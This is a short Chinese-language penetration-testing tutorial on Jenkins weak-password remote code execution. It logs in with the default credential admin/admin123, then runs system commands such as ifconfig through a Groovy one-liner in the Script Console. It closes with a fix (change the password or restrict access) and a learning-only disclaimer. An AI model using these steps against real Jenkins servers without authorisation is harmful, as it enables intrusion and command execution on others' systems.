Jenkins弱口令RCE复现渗透测试

简介

Jenkins是一个开源软件项目，是基于Java开发的一种持续集成工具，用于监控持续重复的工作，旨在提供一个开放易用的软件平台，使软件项目可以进行持续集成，Jenkins用Java语言编写，可在Tomcat等流行的servlet容器中运行，也可独立运行。通常与版本管理工具(SCM)、构建工具结合使用。

漏洞复现

1.jenkins存在默认口令使用弱口令登录 admin/admin123

2.找到 Manage Jenkins -Tools and Actions - Script Console 点击进入
输入命令后点击run

#命令 println "cmd".execute().text
eg: println "ifconfig".execute().text

3.查看Result 回显，亦可以进行其他命令执行…

修复建议

修改弱口令 或者限制内网访问

注意：本文仅供学习参考，非法传播及使用产生的后果自行承担，与本文作者无关